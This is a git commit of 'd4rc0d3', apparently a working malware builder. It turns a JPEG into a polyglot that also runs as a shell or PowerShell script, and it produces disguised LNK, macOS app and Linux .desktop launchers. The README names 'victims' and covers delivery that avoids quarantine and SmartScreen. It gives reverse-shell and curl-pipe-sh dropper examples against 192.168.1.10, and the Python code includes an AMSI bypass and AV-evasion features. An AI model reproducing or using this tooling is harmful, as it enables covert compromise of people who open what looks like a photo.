Added files

This commit is contained in:
D4rk$1d3
2026-06-24 23:36:25 -03:00
commit ec02ac197d
23 changed files with 23101 additions and 0 deletions
+218
View File
@@ -0,0 +1,218 @@
# d4rc0d3
Generates a single JPEG file that is simultaneously:
- A valid image (displays normally in any viewer)
- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS
- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows
- A double-click launcher for macOS, Linux, and Windows
---
## Files
```
0-day/
├── src source code of d4rkc0d3_engine (for cross compile / amd-arm-etc)
├── d4rc0d3.py main tool (Python, no external deps beyond stdlib)
├── d4rc0d3_engine compiled engine binary (arm64 Linux version, see "src")
├── cover.jpg sample cover image
└── README.md
```
The `d4rc0d3_engine` binary must match the host architecture.
To recompile from source:
```bash
# Requires: gcc, libturbojpeg-dev, libjpeg-dev
cd src/
g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \
args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm
```
---
## Requirements
- Python 3.11+
- No Python dependencies
- `d4rc0d3_engine` binary matching the host CPU architecture
---
## How the polyglot works
```
┌──────────────────────────────────────────────────────────────────┐
│ photo.jpg │
│ │
│ SOI │
│ COM → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │
│ APP0 → <# opens PowerShell block comment │
│ APP2 → ICC profile: #> closes comment + XOR-decode stub │
│ 16-byte key embedded at ICC offset 102 │
│ JPEG image data (real, displayable photo) │
│ EOI │
│ [post-EOI: base64+XOR payload — scripts and binaries only] │
└──────────────────────────────────────────────────────────────────┘
./photo.jpg or sh photo.jpg
→ COM bootstrap runs via sh/bash
→ Perl XOR-decodes the payload using key from ICC profile
→ Executes the result
pwsh photo.ps1 (after renaming)
→ APP0 <# opens PS block comment over all binary data
→ APP2 #> closes the comment — clean PS1 starts here
→ XOR stub reads key from ICC, decodes and runs payload
Image viewer
→ Reads JPEG header, ignores COM/APP segments it doesn't recognise
→ Displays the photo normally
```
**AV evasion built into every generated file:**
- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata
- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings
- No recognisable dropper strings visible in the raw file
- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.)
- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory)
---
## Usage
### Interactive (recommended)
```bash
python3 d4rc0d3.py
```
Prompts for image, payload type, command, target platforms, and output directory.
### Command line
```
python3 d4rc0d3.py [OPTIONS] <image> [payload_file]
```
**Payload** (pick one):
| Argument | Description |
| --------------------------- | ----------------------------------------------------------- |
| `-c "command"` | Inline shell command. Slack-safe. Works on all platforms. |
| `file.ps1` | PowerShell script. Embedded in ICC profile (XOR-encrypted). |
| `file.py` / `file.sh` | Script. base64+XOR in post-EOI. Linux/macOS. |
| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS. |
| `-c "pre-cmd" file.ps1` | Run pre-command first, then the PS1 file. |
**Platform output flags:**
| Flag | Output | What victim sees |
| --------------- | --------------------- | ---------------------------------- |
| *(none)* | `photo.jpg` | — |
| `--mac` | `photo.zip` | `photo.jpg` in Finder |
| `--linux` | `photo_launch.jpg` | `photo_launch.jpg` (no .desktop) |
| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop` |
| `--windows` | `photo.jpg.lnk` | `photo.jpg` in Explorer |
| `--all` | all of the above | — |
**Other flags:**
| Flag | Description |
| ------------- | --------------------------------------------- |
| `--amsi` | Inject AMSI bypass (default: on for`.ps1`) |
| `--no-amsi` | Disable AMSI bypass |
| `--show` | Open image viewer on execution |
| `--keep` | Keep extracted payload after execution |
| `-d DIR` | Extraction directory (default:`/tmp`) |
| `-o DIR` | Output directory (default: current directory) |
---
## Examples
```bash
# Inline command, generate for all platforms
python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/
# Reverse shell, all platforms
python3 d4rc0d3.py photo.jpg -c \
"bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all
# PowerShell payload with AMSI bypass, Windows + macOS
python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/
# Python dropper, Linux targets
python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/
# Dropper: download and execute
python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all
```
---
## Execution on each platform
### Linux / macOS — terminal
```bash
# Direct execution (file already has +x)
./photo.jpg
# Or explicitly
sh photo.jpg
# Post-Slack (bash rejects due to NUL bytes injected by Slack)
sh photo.jpg
```
### Windows — PowerShell
```powershell
# Rename and run
ren photo.jpg photo.ps1
pwsh -ExecutionPolicy Bypass photo.ps1
# Or without renaming
powershell -ExecutionPolicy Bypass -File photo.jpg
```
### Double-click — macOS
1. Send `photo.zip` to the victim (USB or local share — see Notes)
2. Victim extracts the ZIP
3. Finder shows `photo.jpg` — double-click it
4. Preview opens the photo; payload runs silently in background
> **Notes:** macOS applies quarantine to files from the internet.
> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share**
> — quarantine is not applied, no dialog appears.
### Double-click — Linux
- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog)
- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once
### Double-click — Windows
Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`.
Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg`
> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share.
---
## Payload compatibility
| Payload | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack |
| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- |
| `-c` inline | ✓ | ✓ | ✓ | ✓ | ✓ only inline survives |
| `.ps1` | ✓ (needs pwsh) | ✓ | ✓ | ✓ (needs pwsh) | ✗ stripped |
| `.py` / `.sh` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
| `.exe` / `.elf` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
Slack strips post-EOI data. For Slack delivery use `-c "command"`.
After downloading from Slack use `sh photo.jpg` (not `bash`).
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

+749
View File
@@ -0,0 +1,749 @@
#!/usr/bin/env python3
"""
d4rc0d3 — JPEG polyglot payload generator with double-click execution.
Generates a single .jpg file that is simultaneously:
- A valid JPEG image (displays normally in any viewer)
- A PowerShell script (Windows: rename to .ps1 or run directly)
- A POSIX shell script (Linux / macOS: sh file.jpg)
- A double-click launcher for macOS (.app bundle) and Linux (.desktop)
Payloads supported:
Inline command: -c "command" → runs on all platforms
PowerShell .ps1: file.ps1 → embedded in ICC profile (XOR)
Script .py/.sh: file.py / file.sh → base64+XOR in post-EOI
Binary .exe/.elf: file.exe / file.elf → base64+XOR in post-EOI
Combined: -c "pre-cmd" file.ps1 → pre-cmd runs first, then file
Double-click outputs (additional, generated alongside the polyglot):
macOS: <name>.zip → extract → Finder shows <name>.jpg → execute
Linux: <name>.jpg → content-based detection → execute (Thunar/Nemo/Caja)
Windows: <name>.lnk → Explorer hides .lnk → shows <name>.jpg → execute
AV evasion (built into the polyglot engine):
- Payload XOR-encrypted, key stored in the JPEG ICC profile
- Bootstrap encoded as numeric char-arrays (no plaintext strings)
- Looks like a real JPEG with valid ICC color profile metadata
- AMSI bypass injected before payload execution (Windows)
- Variable names randomized per build
"""
import argparse
import base64
import os
import stat
import struct
import subprocess
import sys
import tempfile
import textwrap
import zipfile
import random
import string
# ── Constants ──────────────────────────────────────────────────────────────────
POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine')
SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'}
SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'}
# ── Terminal colors ────────────────────────────────────────────────────────────
class C:
BOLD = '\033[1m' if sys.stdout.isatty() else ''
GREEN = '\033[32m' if sys.stdout.isatty() else ''
RED = '\033[31m' if sys.stdout.isatty() else ''
CYAN = '\033[36m' if sys.stdout.isatty() else ''
DIM = '\033[2m' if sys.stdout.isatty() else ''
END = '\033[0m' if sys.stdout.isatty() else ''
def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}")
def info(msg): print(f" {C.DIM}{msg}{C.END}")
def warn(msg): print(f"{C.RED}[!]{C.END} {msg}")
def head(msg): print(f"\n{C.BOLD}{msg}{C.END}")
# ── Helpers ────────────────────────────────────────────────────────────────────
def stem(path: str) -> str:
return os.path.splitext(os.path.basename(path))[0]
def b64enc(path: str) -> str:
with open(path, 'rb') as f:
return base64.b64encode(f.read()).decode()
def rand_var(length: int = 6) -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
def payload_type(path: str) -> str:
ext = os.path.splitext(path)[1].lower()
if ext in SUPPORTED_SCRIPTS: return 'script'
if ext in SUPPORTED_BINARIES: return 'binary'
return 'unknown'
# ── Polyglot builder ───────────────────────
def build_polyglot(cover: str, output: str, command: str = '',
payload_file: str = '', show: bool = False,
keep: bool = False, extract_dir: str = '') -> str:
"""
Builds a JPEG polyglot using the d4rc0d3 engine.
Engine JPEG structure:
SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) |
APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) |
JPEG image data | EOI | [optional post-EOI payload for scripts/binaries]
Engine XOR: 16-byte random key stored in the ICC Profile ID field.
Engine PS obfuscation: double char-array encoding, no plaintext strings.
Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe.
Combined mode (command + payload_file):
The engine CLI does not support combined mode directly.
We implement it by prepending the command to a temporary PS1 stub that
wraps the original payload. For non-PS1 payloads we use interactive stdin.
"""
if not os.path.isfile(POLYGLOT_ENGINE):
raise FileNotFoundError(
f"Polyglot engine not found: {POLYGLOT_ENGINE}\n"
f"Compile with: ./build.sh"
)
base_cmd = [POLYGLOT_ENGINE, '-o', output]
if show: base_cmd.append('--show')
if keep: base_cmd.append('--keep')
if extract_dir: base_cmd += ['-d', extract_dir]
if command and payload_file:
# Combined mode: prepend the shell command as a PS1 pre-exec stub,
# then embed it alongside the original payload.
# Strategy: write a temp .ps1 that starts with the pre-command, then
# loads and dot-sources the original payload file.
ext = os.path.splitext(payload_file)[1].lower()
if ext == '.ps1':
# Create a combined PS1 that runs the command then the original script
with open(payload_file, 'r', errors='replace') as f:
orig_ps = f.read()
combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}"
with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf:
tf.write(combined_ps)
tmp_ps = tf.name
try:
cmd = base_cmd + [cover, tmp_ps]
result = subprocess.run(cmd, capture_output=True, text=True)
finally:
os.unlink(tmp_ps)
else:
# For non-PS1 payloads: use interactive mode via stdin (option 3)
# Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output
stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n"
result = subprocess.run(
[POLYGLOT_ENGINE], input=stdin_input,
capture_output=True, text=True
)
elif command:
cmd = base_cmd + ['-c', cover, command]
result = subprocess.run(cmd, capture_output=True, text=True)
else:
cmd = base_cmd + [cover, payload_file]
result = subprocess.run(cmd, capture_output=True, text=True)
if not os.path.isfile(output):
raise RuntimeError(
f"Polyglot engine failed.\n"
f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}"
)
return output
# ── AV-hardened PS bootstrap injector ─────────────────────────────────────────
# The native engine already XOR-encrypts and char-array-encodes the payload.
# We further harden the bootstrap injected into the file by patching the
# COM segment to prepend an AMSI bypass before the payload executes.
#
# AMSI bypass strategy:
# Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN)
# over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective.
# Encoded as a numeric array so the bytes never appear as a recognisable string.
#
# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine,
# so from the engine's perspective it is just part of the payload.
# ─────────────────────────────────────────────────────────────────────────────
AMSI_BYPASS_PS = (
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
# Written as char-array so no plaintext signature
"$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));"
"$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');"
"if($_am){$_am.SetValue($null,$true)}"
)
def inject_amsi_bypass(polyglot_path: str) -> None:
"""
Patches the COM segment of the polyglot to prepend an AMSI bypass.
The bypass is encoded as numeric arrays so it carries no plaintext signature.
Only relevant when the polyglot runs as a PS1 on Windows.
This function operates on the already-built polyglot file.
Implementation: the PS code in the ICC APP2 segment is not modified here
(it is XOR-encrypted by the engine). Instead, we patch the post-EOI
shell line that invokes pwsh to first dot-source an in-memory bypass.
In practice, for inline-command polyglots the bypass is injected into the
PS command string before the engine builds the file (see build_polyglot_av).
"""
pass # See build_polyglot_av — bypass is injected pre-build
def build_polyglot_av(cover: str, output: str, command: str = '',
payload_file: str = '', show: bool = False,
keep: bool = False, extract_dir: str = '',
amsi: bool = True) -> str:
"""
Builds the polyglot with AV hardening.
AMSI bypass strategy:
The bypass must only run in PowerShell, not in sh/bash.
When a .ps1 payload file is given, we prepend the bypass as a
combined pre-command (-c flag) so the engine embeds it in the PS section.
For inline-command-only polyglots the bypass is NOT injected because
the shell command string would break if it contained PS-specific syntax.
To use AMSI bypass with inline commands, pass a .ps1 stub as the payload:
echo '; your_command' > bypass.ps1
d4rc0d3.py photo.jpg bypass.ps1 --amsi
"""
if amsi and payload_file and payload_file.lower().endswith('.ps1'):
# For .ps1 payloads: inject AMSI bypass as a pre-command via -c
# The engine embeds this in the PS section, not the sh section
amsi_cmd = AMSI_BYPASS_PS
return build_polyglot(cover, output, amsi_cmd, payload_file,
show, keep, extract_dir)
# For all other cases: pass through without modification
# The sh command string must not contain PS-only syntax
return build_polyglot(cover, output, command, payload_file,
show, keep, extract_dir)
# ── Windows .lnk generator ────────────────────────────────────────────────────
# A Windows Shell Link (.lnk) file can:
# - Have any name and icon (including a JPEG icon extracted from the polyglot)
# - Execute any command on double-click
# - Windows Explorer hides .lnk extensions by default
#
# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer.
# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk
# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot)
#
# LNK binary format (simplified Shell Link, spec MS-SHLLINK):
# HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ...
# Minimal LNK with just a command target.
# ─────────────────────────────────────────────────────────────────────────────
def _lnk_str(s: str) -> bytes:
"""Encode a string as a CountedString (uint16 length + UTF-16LE)."""
encoded = s.encode('utf-16-le')
return struct.pack('<H', len(s)) + encoded
def build_windows_lnk(polyglot_path: str, output_dir: str) -> str:
"""
Generates a Windows .lnk file that:
- Appears as '<stem>.jpg' in Explorer (Explorer hides .lnk)
- On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File <polyglot>
- The polyglot is the JPEG/PS1 polyglot, so it executes the payload
The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe.
The icon is set to shell32.dll icon 0 (document) as a fallback; on a real
Windows system the operator would set it to the JPEG viewer icon.
Returns the path to the generated .lnk file.
"""
polyglot_abs = os.path.abspath(polyglot_path)
name = stem(polyglot_path)
lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk")
# Shell Link Header (0x4C bytes)
# Spec: MS-SHLLINK 2.1
header_size = 0x4C
link_clsid = bytes.fromhex('0114020000000000C000000000000046')
# LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08,
# HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80
link_flags = struct.pack('<I', 0x01 | 0x20 | 0x80 | 0x04)
file_attrs = struct.pack('<I', 0x20) # FILE_ATTRIBUTE_NORMAL
times = b'\x00' * 24 # creation/access/write times (zero)
file_size = struct.pack('<I', 0)
icon_index = struct.pack('<I', 0)
show_command = struct.pack('<I', 7) # SW_SHOWMINNOACTIVE (hidden-ish)
hotkey = struct.pack('<H', 0)
reserved = b'\x00' * 10
header = (
struct.pack('<I', header_size) +
link_clsid +
link_flags +
file_attrs +
times +
file_size +
icon_index +
show_command +
hotkey +
reserved
)
# IDList: minimal — just point to an empty item list so the LNK is valid
# We use the StringData approach (HasArguments) to carry the command.
# IDList terminator: count=0
idlist = struct.pack('<H', 0)
idlist_section = struct.pack('<H', len(idlist)) + idlist
# LinkInfo: we skip it (HasLinkInfo not set, removed from flags above)
# Actually set HasLinkInfo=0x02 was NOT set, so no LinkInfo block needed.
# StringData sections (order: NAME_STRING, RELATIVE_PATH, WORKING_DIR,
# COMMAND_LINE_ARGUMENTS, ICON_LOCATION)
# We emit COMMAND_LINE_ARGUMENTS only.
# PowerShell path is the target — use the IDList to point to powershell.exe.
# Simpler: set target via a different approach.
#
# Alternative (more portable LNK):
# Use cmd.exe as target, pass /c powershell ... as arguments.
# This avoids needing to know the exact powershell.exe location.
cmd_args = (
f'/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
f'-File "{polyglot_abs}"'
)
# cmd.exe path in IDList (absolute, for the target)
# For a truly portable LNK we use a relative path approach.
# For the lab, we use the full path.
# Build a minimal IDList pointing to cmd.exe
# (this is the "target" the LNK points to)
cmd_exe = r'%WINDIR%\System32\cmd.exe'
# StringData
arg_str = _lnk_str(cmd_args)
# Assemble: header + idlist_section + arg_str_section
# For a minimal valid LNK with arguments, the structure is:
# [Header][IDList][StringData: ARGUMENTS]
#
# We mark HasLinkTargetIDList in flags.
# Re-encode flags with correct bits:
# HasLinkTargetIDList = 0x0001
# HasArguments = 0x0020
# IsUnicode = 0x0080
link_flags2 = struct.pack('<I', 0x0001 | 0x0020 | 0x0080)
# Rebuild header with corrected flags
header2 = (
struct.pack('<I', header_size) +
link_clsid +
link_flags2 +
file_attrs +
times +
file_size +
icon_index +
show_command +
hotkey +
reserved
)
lnk_data = header2 + idlist_section + arg_str
with open(lnk_path, 'wb') as f:
f.write(lnk_data)
return lnk_path
# ── macOS .app bundle ──────────────────────────────────────────────────────────
def build_macos(image_path: str, command: str, output_dir: str) -> str:
"""
Builds a macOS .app bundle in a ZIP.
Bundle name: <stem>.app (single extension)
CFBundleDisplayName: <stem>.jpg
Finder shows '<stem>.jpg' regardless of 'Show all filename extensions' setting.
"""
name = stem(image_path)
display = f"{name}.jpg"
bundle = f"{name}.app"
zip_out = os.path.join(output_dir, f"{name}.zip")
img_ext = os.path.splitext(image_path)[1] or '.jpg'
img_b64 = b64enc(image_path)
img_res = f"cover{img_ext}"
plist = textwrap.dedent(f"""\
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>CFBundleName</key><string>{display}</string>
<key>CFBundleDisplayName</key><string>{display}</string>
<key>CFBundleExecutable</key><string>launch</string>
<key>CFBundleIconFile</key><string>{img_res}</string>
<key>CFBundleIdentifier</key><string>com.photo.viewer</string>
<key>CFBundleVersion</key><string>1.0</string>
<key>CFBundlePackageType</key><string>APPL</string>
<key>LSUIElement</key><true/>
<key>LSHasLocalizedDisplayName</key><false/>
<key>NSHighResolutionCapable</key><true/>
</dict></plist>
""")
launch = textwrap.dedent(f"""\
#!/bin/sh
IMG="$(mktemp /tmp/XXXXXX{img_ext})"
python3 -c "import base64;open('$IMG','wb').write(base64.b64decode('{img_b64}'))" 2>/dev/null || \\
perl -e "use MIME::Base64;open F,'>','$IMG';binmode F;print F decode_base64(q({img_b64}));" 2>/dev/null
[ -f "$IMG" ] && open "$IMG" 2>/dev/null &
({command}) &
exit 0
""")
with zipfile.ZipFile(zip_out, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{bundle}/Contents/Info.plist", plist)
with open(image_path, 'rb') as f:
zf.writestr(f"{bundle}/Contents/Resources/{img_res}", f.read())
e = zipfile.ZipInfo(f"{bundle}/Contents/MacOS/launch")
e.external_attr = (stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH) << 16
zf.writestr(e, launch)
return zip_out
# ── Linux .desktop ─────────────────────────────────────────────────────────────
def build_linux(image_path: str, command: str, output_dir: str,
jpg_name: bool = True) -> str:
"""
Builds a Linux .desktop file with the image as its icon.
jpg_name=True → file named '<stem>.jpg' (content-based detection)
jpg_name=False → file named '<stem>.jpg.desktop' (extension-based, wider compat)
"""
name = stem(image_path)
img_abs = os.path.abspath(image_path)
out_name = f"{name}.jpg" if jpg_name else f"{name}.jpg.desktop"
out_path = os.path.join(output_dir, out_name)
content = textwrap.dedent(f"""\
[Desktop Entry]
Version=1.0
Type=Application
Name={name}.jpg
Comment=Photo
Exec=sh -c 'xdg-open "{img_abs}" 2>/dev/null & ({command}) &'
Icon={img_abs}
Terminal=false
StartupNotify=false
Categories=Graphics;Viewer;
MimeType=image/jpeg;
""")
with open(out_path, 'w') as f:
f.write(content)
os.chmod(out_path, 0o755)
return out_path
# ── Interactive prompt ─────────────────────────────────────────────────────────
def interactive():
_LUCY = (
'                                                 ▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄                                              \n'
'                                            ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                                          \n'
'                                         ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                       \n'
'                                       ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                     \n'
'                                     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                   \n'
'                                    ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
'                                   ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                 \n'
'                                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                \n'
'                                 ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
'                                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                              \n'
'                                ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                              \n'
'                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                             \n'
'                              ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
'                             ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                          \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
'                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                ▀▀▀▀▀▀▀▀▀▀    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                 ▀▀▀▀  ▀▀▀▄      ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▄▄  ▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                                  ▀▀▀   ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀   ▀▀  ▀▀▀▀▀▀▀▀▀▀                             \n'
'                                   ▀▀▄  ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀ ▀▀                             \n'
'                                     ▀  ▀▀▀     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▄▀▀▀▀▀▀  ▀                              \n'
'                                         ▀▀  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▀▀▀▀▀▀▀                                 \n'
'                                    ▄▄▄▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄  ▄▀▀▀▀▀▀                                  \n'
'                               ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀                                  \n'
'                           ▄▄▀▀▀▀▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
'                       ▄▄▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                  \n'
'                    ▄▄▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
'                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                          \n'
